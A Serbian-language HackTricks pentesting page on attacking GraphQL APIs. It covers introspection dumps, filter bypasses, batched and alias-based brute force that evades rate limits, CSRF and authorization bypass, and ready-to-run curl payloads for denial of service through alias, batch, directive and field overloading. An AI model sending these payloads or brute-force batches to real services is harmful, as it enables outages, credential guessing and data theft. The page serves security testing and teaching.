hacktricks/network-services-pentesting/pentesting-web/graphql.md

41 KiB

GraphQL

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Introduction

GraphQL je istaknut kao efikasna alternativa REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka da bi prikupio podatke, GraphQL omogućava preuzimanje svih potrebnih informacija putem jednog zahteva. Ova pojednostavljenja značajno pomažu programerima smanjujući složenost njihovih procesa preuzimanja podataka.

GraphQL i bezbednost

Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da GraphQL po defaultu ne uključuje mehanizme autentifikacije. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.

Napadi Brute Force na direktorijume i GraphQL

Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanje specifičnih putanja u napade brute force na direktorijume. Ove putanje su:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih putem krajnje tačke. GraphQL-ov introspekcijski sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: GraphQL: Jezik upita za API-e.

Otisak

Alat graphw00f je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog revizora.

Univerzalni upiti

Da bi se proverilo da li je URL GraphQL servis, može se poslati univerzalni upit, query{__typename}. Ako odgovor uključuje {"data": {"__typename": "Query"}}, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje __typename, koje otkriva tip upitnog objekta.

query{__typename}

Osnovna Enumeracija

Graphql obično podržava GET, POST (x-www-form-urlencoded) i POST(json). Iako se iz bezbednosnih razloga preporučuje da se dozvoli samo json kako bi se sprečili CSRF napadi.

Introspekcija

Da biste koristili introspekciju za otkrivanje informacija o šemi, upitite polje __schema. Ovo polje je dostupno na korenskom tipu svih upita.

query={__schema{types{name,fields{name}}}}

Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.

Greške

Zanimljivo je znati da li će se greške prikazivati jer će doprineti korisnim informacijama.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerisanje šeme baze podataka putem introspekcije

{% hint style="info" %} Ako je introspekcija omogućena, ali gornji upit ne radi, pokušajte da uklonite onOperation, onFragment i onField direktive iz strukture upita. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Инлајн интроспекција упит:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql (imena objekata, parametre, tipove...)

Ako je introspekcija omogućena, možete koristiti GraphQL Voyager da u GUI-u vidite sve opcije.

Upit

Sada kada znamo koje vrste informacija su sačuvane unutar baze podataka, hajde da pokušamo da izvučemo neke vrednosti.

U introspekciji možete pronaći koji objekat možete direktno upititi (jer ne možete upititi objekat samo zato što postoji). Na sledećoj slici možete videti da se "queryType" zove "Query" i da je jedno od polja objekta "Query" "flags", koji je takođe tip objekta. Stoga možete upititi objekat zastavice.

Napomena: tip upita "flags" je "Flags", a ovaj objekat je definisan kao ispod:

Možete videti da se objekti "Flags" sastoje od name i value. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:

query={flags{name, value}}

Napomena da, u slučaju da je objekat za upit primitivna vrsta kao što je string, kao u sledećem primeru

Možete ga jednostavno upititi sa:

query={hiddenFlags}

U drugom primeru gde su bila 2 objekta unutar objekta "Query": "user" i "users".
Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo dobiti sve informacije iz njih jednostavno tražeći podatke koje želimo. U ovom primeru sa Interneta mogli biste izvući sačuvana korisnička imena i lozinke:

Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu grešku:

Izgleda da će nekako pretraživati koristeći argument "uid" tipa Int.
U svakom slučaju, već smo znali da je u sekciji Osnovna enumeracija predložen upit koji nam je pokazivao sve potrebne informacije: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "user" imao arg "uid" tipa Int.

Dakle, obavljajući malo uid bruteforce-a, otkrio sam da je za uid=1 izvučeno korisničko ime i lozinka:
query={user(uid:1){user,password}}

Napomena da sam otkrio da mogu tražiti parametre "user" i "password" jer ako pokušam da tražim nešto što ne postoji (query={user(uid:1){noExists}}) dobijam ovu grešku:

I tokom faze enumeracije otkrio sam da objekat "dbuser" ima kao polja "user" i "password.

Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow_)

Ako možete pretraživati po string tipu, kao: query={theusers(description: ""){username,password}} i tražite prazan string, to će dump-ovati sve podatke. (Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "theusers" po String polju nazvanom "description").

Pretraga

U ovoj postavci, baza podataka sadrži osobe i filmove. Osobe su identifikovane po svom emailu i imenu; filmovi po svom imenu i oceni. Osobe mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.

Možete pretraživati osobe po imenu i dobiti njihove emailove:

{
searchPerson(name: "John Doe") {
email
}
}

Možete pretraživati osobe po imenu i dobiti njihove pretplaćene filmove:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Napomena kako je naznačeno da se preuzme name od subscribedMovies osobe.

Takođe možete pretraživati više objekata u isto vreme. U ovom slučaju, pretražuju se 2 filma:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ili čak odnosi nekoliko različitih objekata koristeći alias-e:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutacije se koriste za pravljenje promena na serverskoj strani.

U introspekciji možete pronaći deklarisane mutacije. Na sledećem imidžu "MutationType" se zove "Mutation" i objekat "Mutation" sadrži imena mutacija (kao što je "addPerson" u ovom slučaju):

U ovoj postavci, baza podataka sadrži osobe i filmove. Osobe se identifikuju po svom emailu i imenu; filmovi po svom imenu i oceni. Osobe mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.

Mutacija za kreiranje novih filmova unutar baze podataka može izgledati kao sledeća (u ovom primeru mutacija se zove addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Napomena kako su i vrednosti i tip podataka naznačeni u upitu.

Pored toga, baza podataka podržava mutation operaciju, nazvanu addPerson, koja omogućava kreiranje persons zajedno sa njihovim povezivanjem sa postojećim friends i movies. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranim osobom.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direktiva Preopterećenja

Kao što je objašnjeno u jednoj od ranjivosti opisanim u ovom izveštaju, direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se serveru nanele operacije dok ne postane moguće izvršiti DoS napad.

Grupisanje brute-force u 1 API zahtevu

Ove informacije su preuzete sa https://lab.wallarm.com/graphql-batching-attack/.
Autentifikacija putem GraphQL API sa istovremenim slanjem mnogih upita sa različitim akreditivima da bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog funkcionalnosti grupisanja GraphQL-a. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot za brute-forcing koji pokušava da pogodi lozinke.

Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa 3 različita para email/lozinka u isto vreme. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:

Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili null i reflektovali odgovarajuće informacije u error sekciji. Druga mutacija je imala ispravne podatke za autentifikaciju i odgovor ima ispravan token sesije za autentifikaciju.

GraphQL Bez Introspekcije

Sve više graphql krajnjih tačaka onemogućava introspekciju. Međutim, greške koje graphql baca kada primi neočekivani zahtev su dovoljne za alate poput clairvoyance da rekreiraju većinu šeme.

Štaviše, Burp Suite ekstenzija GraphQuail posmatra GraphQL API zahteve koji prolaze kroz Burp i gradi internu GraphQL šemu sa svakim novim upitom koji vidi. Takođe može izložiti šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi upit za introspekciju. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja dostupna za korišćenje unutar API-ja. Za više informacija proverite ovo.

Lepa lista reči za otkrivanje GraphQL entiteta može se pronaći ovde.

Zaobilaženje odbrana GraphQL introspekcije

Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje posebnog karaktera nakon __schema ključne reči se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na __schema ključnu reč. Dodavanjem karaktera kao što su razmaci, novi redovi i zarezi, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon __schema može zaobići takve odbrane:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Ako ne uspe, razmotrite alternativne metode zahteva, kao što su GET zahtevi ili POST sa x-www-form-urlencoded, pošto se ograničenja mogu primenjivati samo na POST zahteve.

Pokušajte sa WebSockets

Kao što je pomenuto u ovom predavanju, proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Otkriće Izloženih GraphQL Struktura

Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći Sources karticu u alatima za programere, pružajući uvide u šemu API-ja i otkrivajući potencijalno izložene osetljive upite. Komande za pretragu unutar alata za programere su:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF u GraphQL

Ako ne znate šta je CSRF, pročitajte sledeću stranicu:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Napolju možete pronaći nekoliko GraphQL krajnjih tačaka konfiguranih bez CSRF tokena.

Napomena: GraphQL zahtevi se obično šalju putem POST zahteva koristeći Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Međutim, većina GraphQL krajnjih tačaka takođe podržava form-urlencoded POST zahteve:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Zato, pošto se CSRF zahtevi poput prethodnih šalju bez preflight zahteva, moguće je izvršiti promene u GraphQL zloupotrebom CSRF.

Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za samesite oznaku u Chrome-u Lax. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima.

Napomena je da je obično moguće poslati query zahtev takođe kao GET zahtev i CSRF token možda neće biti validiran u GET zahtevu.

Takođe, zloupotrebom XS-Search napada može biti moguće eksfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika.

Za više informacija proverite originalni post ovde.

Preuzimanje WebSocket-a između sajtova u GraphQL

Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti preuzimanje WebSocket-a između sajtova kako bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima i naterati korisnika da izvrši neočekivane radnje u GraphQL.

Za više informacija proverite:

{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}

Autorizacija u GraphQL

Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevaoca, ali ne i autorizaciju.

Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu leak.

Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje podatke o drugom računu.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass autorizacije u GraphQL

Spajanje upita može zaobići slab sistem autentifikacije.

U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika za sistem da registruje kao novog korisnika.

Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL

U GraphQL-u, aliasi su moćna funkcija koja omogućava izričito imenovanje svojstava prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje više instanci istog tipa objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.

Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: Aliasi.

Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem broja HTTP zahteva. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.

Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine pošto kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS u GraphQL-u

Preopterećenje Alias-a

Preopterećenje Alias-a je GraphQL ranjivost gde napadači preopterećuju upit sa mnogo alias-a za isto polje, uzrokujući da backend resolver izvršava to polje ponovo i ponovo. Ovo može preopteretiti resurse servera, što dovodi do Odbijanja Usluge (DoS). Na primer, u upitu ispod, isto polje (expensiveField) se traži 1.000 puta koristeći alias-e, primoravajući backend da ga izračuna 1.000 puta, potencijalno iscrpljujući CPU ili memoriju:

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

{% endcode %}

Da bi se to ublažilo, implementirajte ograničenja broja aliasa, analizu složenosti upita ili ograničavanje brzine kako biste sprečili zloupotrebu resursa.

Batchovanje upita zasnovano na nizu

Batchovanje upita zasnovano na nizu je ranjivost gde GraphQL API omogućava batchovanje više upita u jednom zahtevu, omogućavajući napadaču da pošalje veliki broj upita istovremeno. Ovo može preopteretiti backend izvršavanjem svih batchovanih upita paralelno, trošeći prekomerne resurse (CPU, memorija, veze sa bazom podataka) i potencijalno dovesti do Denial of Service (DoS). Ako ne postoji ograničenje na broj upita u batchu, napadač može iskoristiti ovo da pogorša dostupnost usluge.

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

{% endcode %}

U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih istovremeno. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server.

Ranljivost preopterećenja direktiva

Preopterećenje direktiva se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez odgovarajuće validacije ili ograničenja, napadač može iskoristiti ovo tako što će kreirati upit sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do Denial of Service (DoS).

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

{% endcode %}

Napomena da je u prethodnom primeru @aa prilagođena direktiva koja možda nije deklarisana. Uobičajena direktiva koja obično postoji je @include:

{% code overflow="wrap" %}

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

{% endcode %}

Možete takođe poslati upit za introspekciju kako biste otkrili sve deklarisane direktive:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

I zatim koristite neke od prilagođenih.

Ranljivost dupliranja polja

Dupliranje polja je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive baze podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Alati

Skeneri ranjivosti

Klijenti

Automatski testovi

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Reference

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
